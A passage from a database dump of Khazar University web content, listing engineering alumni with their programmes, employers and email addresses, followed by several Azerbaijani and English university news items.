Applied Sciences</p>\r\n<p>Electronics,\r\nTelecommunications and Radio Engineering, 2017</p>\r\n<p>E-mail:&nbsp; <a href=\"mailto:R.o.m.a.n.s.o.n@mail.ru\">R.o.m.a.n.s.o.n[at]mail.ru</a> </p>\r\n<p>Azerbaijan\r\nRobotics Engineering Academy, instructor</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\"><br></span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Sattar Amrahov&nbsp;</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Science</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Lab Service engineer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Settar216@gmail.com\">Settar216@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Samir Amanov &nbsp;</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Khazar University/İT departamenti</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:sam.amanov@gmail.com\">sam.amanov@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Sahil Amirov</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Electronics, Telecommunications and Radio Engineering </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In military service</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Shabam İsmayilova</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:sebis_9494@mail.ru\">sebis_9494@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:sebis_9494@mail.ru\"></a>Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Shabnam Bakhshaliyeva</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Science</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Yapikredit bank / It developer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Scr9492@gmail.com\">Scr9492@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor, Honor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3 id=\"T\">T</h3><p><strong>Turan\r\nSuleymanov </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p>Electronics,\r\nTelecommunications and Radio Engineering, 2017</p>\r\n<p>E-mail:&nbsp; <a href=\"mailto:turan.suleymanov@inbox.ru\">turan.suleymanov[at]inbox.ru</a> </p>\r\n<p>Zeytun\r\nPharmaceuticals, Sales manager</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\"><br></span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Tabriz Khanahmadov</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum and Natural Gas engineering&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Halliburton, Sperry Drilling M/LWD Field engineer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Khanakmadov@outlook.com\">Khanakmadov@outlook.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Tarana Nasibli</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Nasibli.tarana@gmail.com\">Nasibli.tarana@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Toghrul Rzayev</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Tural Ahmadov</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum and Natural Gas engineering&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:tural.ehmedov.92@mail.ru\">tural.ehmedov.92@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Turkan Camiyeva</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Civil Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Tariyel Qismatov</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Science</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Tural Safarli</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Civil Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Sfrl.tura@gmail.com\">Sfrl.tura@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor, Honor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3 id=\"U\">U</h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Usama Ahmed</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\">Petroleum Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">PhD Student at Khazar University</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Usama.Ahmed@khazar.org\">Usama.Ahmed@khazar.org</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Usama.Ahmed@khazar.org\"></a>Master2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Ulkar Babayeva</span></strong><span style=\"font-family:Arial, sans-serif;color:#252525\"></span></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azerbaijan State University of Oil and Industry, Coordinator</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Babaeva.u@gmail.com\">Babaeva.u@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3 id=\"V\">V</h3><p><strong>Vahid Hajiyev </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p>Civil\r\nEngineering, 2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:vahid__91@mail.ru\">vahid__91[at]mail.ru</a>\r\n</p>\r\n<p>Chinar Kafe,\r\ncashier</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\"><br></span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Vusala Nasrullayeva</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Science</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Vusu.neva@mail.ru\">Vusu.neva@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Vusu.neva@mail.ru\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Vidadi Aliyev</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Socar Engineer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Vidadi.Aliyev@socar.az\">Vidadi.Aliyev@socar.az</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Vusal Alasgarov</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Science</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Karvan2002 group /It network admin</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Fox.92.015@mail.ru\">Fox.92.015@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Fox.92.015@mail.ru\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3 id=\"Y\">Y</h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Yannik Tambe</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\">Petroleum Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">PhD Student at Khazar University</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:yannick.agbor@khazar.org\">yannick.agbor@khazar.org</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master&nbsp;Honor ,2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Yusif Guliyev</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum and Natural Gas engineering&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master /Texas University</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:turbo_21@mail.ru\">turbo_21@mail.ru yusifguliyev@gmai.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:turbo_21@mail.ru\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3 id=\"Z\">Z</h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Zumrud Aslanova</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum and Natural Gas engineering&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Zumrud95@mail.ru\">Zumrud95@mail.ru</a>&nbsp;&nbsp;&nbsp;<a href=\"mailto:Zumrud95@gmail.com\">Zumrud95@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Zumrud95@gmail.com\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Zahra Khudaverdiyeva</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azecolab Quality Control Specialist</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:zehra.khudaverdiyeva@gmail.com\">zehra.khudaverdiyeva@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master Honor 2016</p>  </div>'),(3232,1904,'az','“Elm üçbucağı” verilişi İctimai TV-də','2017-ci il 19 fevral tarxinində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri Prof. Hamlet İsaxanlının “Elm üçbucağı” verilişi İctimai TV-də yayımlandı...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">2017-ci il 19\r\nfevral tarxinində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri Prof. Hamlet İsaxanlının “Elm üçbucağı” verilişi İctimai TV-də\r\nyayımlandı. Budəfəki yayım 29 dekabr tarixində çəkilmiş “Elm adamları və bilik əldə\r\netməyin yolları” mühazirəsinin yazısı idi.</p>'),(3233,1905,'az','İnkişaf Mərkəzinin layihə meneceri “Ali təhsil müəssisələrində miqrasiya təhsilinin təşviqi” adlı  görüşdə iştirak etdi ','2017-ci il fevralın 17-si və 18-də Xəzər Universiteti İnkişaf Mərkəzinin layihə meneceri Ülkər Bayramova İvane Javaxişvili adına Tbilisi Dövlət Universitetində təşkil olunmuş...','<p>2017-ci il fevralın\r\n17-si və 18-də Xəzər\r\nUniversiteti İnkişaf Mərkəzinin layihə meneceri Ülkər Bayramova İvane\r\nJavaxişvili adına Tbilisi Dövlət Universitetində təşkil olunmuş “Ali təhsil müəssisələrində\r\nmiqrasiya təhsilinin təşviqi” adlı Erasmus+ layihəsinin ilk idarəetmə görüşündə iştirak etmişdir. Görüşə Alikante Universiteti\r\n(İspaniya), Oldenburq Universiteti (Almaniya), Qraz Universiteti (Avstriya),\r\nGürcüstanın müxtəlif universitetlərinin nümayəndələri və digrə iştirakşılar\r\nqatılmışdılar. Ülkər Bayramova Xəzər\r\nUniversitetində yaradılmış “Dünya iqtisadiyyatı və miqrasiya prosesləri” magistr ixtisası və Miqrasiya\r\nMərkəzi haqqında geniş təqdimatla çıxış etmiş və təqdimat çox böyük maraqla\r\nqarşılanmışdır.&nbsp;</p>'),(3234,1898,'en','Migration Conference Covered in Media','On February 17, 2017, Khazar University hosted a conference  on “Migration Policy in Azerbaijan: Achievements and Development Perspectives”.News stories ran by the media...','<p>On February 17, 2017, Khazar University hosted a\r\nconference&nbsp; on “Migration Policy in Azerbaijan: Achievements and\r\nDevelopment Perspectives”.</p>\r\n<p>News stories ran by the media about the event are\r\navailable at the following links:&nbsp; </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><a href=\"http://azertag.az/xeber/Dovlet_Miqrasiya_Xidmeti_terefinden_71_mine_yaxin_sexsin_Azerbaycan_vetendasligina_mensubiyyeti_taninib-1036064\">http://azertag.az/xeber/Dovlet_Miqrasiya_Xidmeti_terefinden_71_mine_yaxin_sexsin_Azerbaycan_vetendasligina_mensubiyyeti_taninib-1036064</a>;</p>\r\n<p><a href=\"http://www.azerbaijan-news.az/index.php?mod=3&amp;id=116141\">http://www.azerbaijan-news.az/index.php?mod=3&amp;id=116141</a>;</p>\r\n<p><a href=\"http://www.itv.az/index.php/az/tele/doevlaet-migrasiya-khidmaetinin-yarad-lmas-n-n-10-illiyinae-haesr-olunan-konfrans\">http://www.itv.az/index.php/az/tele/doevlaet-migrasiya-khidmaetinin-yarad-lmas-n-n-10-illiyinae-haesr-olunan-konfrans</a>.</p>'),(2540,1532,'az','Rəis Rəsulzadənin 70 illik yubileyi keçirildi','2016-cı il noyabrın 1-də Beynəlxalq Mətbuat Mərkəzində rəssam Rəis Rəsulzadənin 70 illik yubileyi ilə əlaqədar tədbir keçirildi. Tədbirdə Xəzər Universiteti Tarix və arxeologiya...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white;vertical-align:baseline\"\"=\"\">2016-cı il noyabrın 1-də\r\nBeynəlxalq Mətbuat Mərkəzində rəssam Rəis Rəsulzadənin 70 illik yubileyi ilə\r\nəlaqədar tədbir keçirildi. Tədbirdə Xəzər Universiteti Tarix və arxeologiya departamentinin\r\nmüəllimi, tarix elmləri&nbsp;doktoru Nəsiman Yaqublu, millət vəkilləri\r\nRafael Hüseynov, Vahid Əhmədov və Fazil Qəzənfərov, şair Teyyub Qurban, Cəfər\r\nCabbarlının nəvəsi Qəmər Seyfəddinqızı, Pedoqoji Universitetin dekanı Laçın\r\nHəsənova, tədqiqatçı-jurnalist Nəcibə Bağırzadə, rəssam Rza Əfşar, R.Rəsulzadənin\r\nsənət dostları, əməkdar rəssamlar, tələbələri, tələbə yoldaşları və Xəzər\r\nUniversitetinin tələbələri də iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white;vertical-align:baseline\"\"=\"\">Rəis Rəsilzadənin 70\r\nillik yubileyi münasibətilə təşkil olunmuş tədbiri açaraq, Nəsiman Yaqublu Rəis\r\nRəsulzadənin həyatı və yaradıcılığı haqqında məlumat verdi. N.Yaqublu çıxışında\r\nRəis bəyin atası Azər Rəsulzadə ilə görüşündən danışdı. O, öz çıxışının\r\nyekununu Məhəmməd Əmin Rəsulzadənin “Bəşər mədəniyyəti ayrı-ayrı xalqların mədəniyyətlərinin\r\nyekunudur,” sözləri ilə başa vurdu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white;vertical-align:baseline\"\"=\"\">Görkəmli ədəbiyyatşünas,\r\ntanınmış ictimai xadim, yazıçı, publisist, tərcüməçi, mətnşünas, Azərbaycan\r\nYazıçılar Birliyinin üzvü, Nizami\r\nGəncəvi adına Milli Azərbaycan Ədəbiyyatı Muzeyinin direktoru, Filologiya elmləri doktoru, AMEA-nın\r\nhəqiqi üzvü, akademik, Milli Məclisin Mədəniyyət komitəsinin sədri Rafael\r\nHüseynov odlu çıxışı ilə seçildi. Rafael Hüseynov Azərbaycan Xalq\r\nCümhuriyyətinin qurucuları olan Məhəmməd Əmin Rəsulzadə, Məhəmməd Həsən\r\nHacınski, Əlimərdan bəy Topçubaşovun çətin və kəşməkeşli həyat tarixçəsindən\r\nqısa məlumat verdi. Daha sonra millət vəkilləri Fazil Mustafa və Vahid Əhmədov\r\nöz təbrik çıxışlarını etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white;vertical-align:baseline\"\"=\"\">Görkəmli dramaturq Cəfər\r\nCabbarlının nəvəsi Qəmər xanım Məhəmməd Əmin Rəsulzadə ilə Cəfər Cabbarlının\r\nailəvi dostluğundan söhbət açdı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white;vertical-align:baseline\"\"=\"\">“Azərbaycan həsrəti”, “Gecikmiş\r\netiraf kimi” kitabların müəllifi olan, Rəsulzadə ailəsini araşdıran Nəcibə\r\nBağırzadə öz kövrək çıxışı ilə seçildi. İlk dəfə Azər Rəsulzadəni Qazaxıstanın\r\nKarakanda şəhərində axtarıb-tapan şair, dramaturq, publisist, Azərbaycan Yazıçılar Birliyinin üzvü, Azərbaycan gənclərinin III Ümumrespublika\r\nfestivalının laureatı, Rəsul Rza mükafatı laureatı Teyyub Qurban tarixi\r\nfaktlara əsaslanan çıxışı ilə seçildi. O, Rəsulzadə ailəsi ilə bağlı yeni\r\nyazdığı kitabını Rəis Rəsulzadəyə hədiyyə etdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white;vertical-align:baseline\"\"=\"\">Tədbirdə, həmçinin,\r\nXəzər Universitetinin tarixçi tələbələri də iştirak edərək, öz təbriklərini və\r\nhədiyyələrini Rəis Rasulzadəyə təqdim etdilər. Onlar müasir Azərbaycan gəncləri\r\nolaraq, damarlarından ulu öndərimizin qanı axan, Məhəmməd Əmin Rəsulzadə kimi\r\ndahi bir şəxsiyyətin nəvəsinin, Azərbaycanın dəyərli rəssamı Rəis Rəsulzadə ilə\r\ntanış olmaq şərəfinə nail olduqları üçün xoşbəxt olduqlarını ifadə etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white;vertical-align:baseline\"\"=\"\">Sonda Rəis Rəsulzadə hər\r\nkəsə onun 70 illik yubileyinə gəldiklərinə görə, öz təşəkkürünü bildirdi.</p>'),(2532,1527,'az','Humanitar və Sosial Elmlər Fakültəsi','Humanitar və Sosial Elmlər Fakültəsi','<p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"#A\" style=\"font-weight:bold\">A</a>&nbsp;<a href=\"#B\"><strong>B</strong></a><strong>&nbsp;</strong><a href=\"#C\" style=\"font-weight:bold\">C</a>&nbsp;<a href=\"#D\" style=\"font-weight:bold\">D</a> <a href=\"#E\" style=\"font-weight:bold\">E</a> <a href=\"#Ə\" style=\"font-weight:bold\">Ə</a> <a href=\"#F\" style=\"font-weight:bold\">F</a> <a href=\"#G\" style=\"font-weight:bold\">G</a> <a href=\"#H\" style=\"font-weight:bold\">H</a> <a href=\"#X\" style=\"font-weight:bold\">X</a> <a href=\"#İ\" style=\"font-weight:bold\">İ</a> <a href=\"#K\" style=\"font-weight:bold\">K</a> <a href=\"#Q\" style=\"font-weight:bold\">Q</a>  <a href=\"#L\" style=\"font-weight:bold\">L</a> <a href=\"#M\" style=\"font-weight:bold\">M</a> <a href=\"#N\" style=\"font-weight:bold\">N</a> <a href=\"#O\" style=\"font-weight:bold\">O</a> <a href=\"#P\" style=\"font-weight:bold\">P</a> <a href=\"#R\" style=\"font-weight:bold\">R</a> <a href=\"#S\" style=\"font-weight:bold\">S</a> <a href=\"#Ş\" style=\"font-weight:bold\">Ş</a> <a href=\"#T\" style=\"font-weight:bold\">T</a> <a href=\"#Ü\" style=\"font-weight:bold\">Ü</a> <a href=\"#V\" style=\"font-weight:bold\">V</a> <a href=\"#Y\" style=\"font-weight:bold\">Y</a> <a href=\"#Z\" style=\"font-weight:bold\">Z </a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong></p><h3 id=\"A\"><strong>A</strong></h3><p><strong>Akif Məmmədov</strong>  <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p><p>İngilis dili üzrə tərcümə ixtisası (2005-2009)</p><p>MEGABIZ PETROCHEMICAL PRODUCTS OF INDUSTRY AND TRADE INCORPORATED GROUP OF COMPANIES</p><p>Marketinq və&nbsp;satış Direktoru</p><p>E- mail:&nbsp;<a 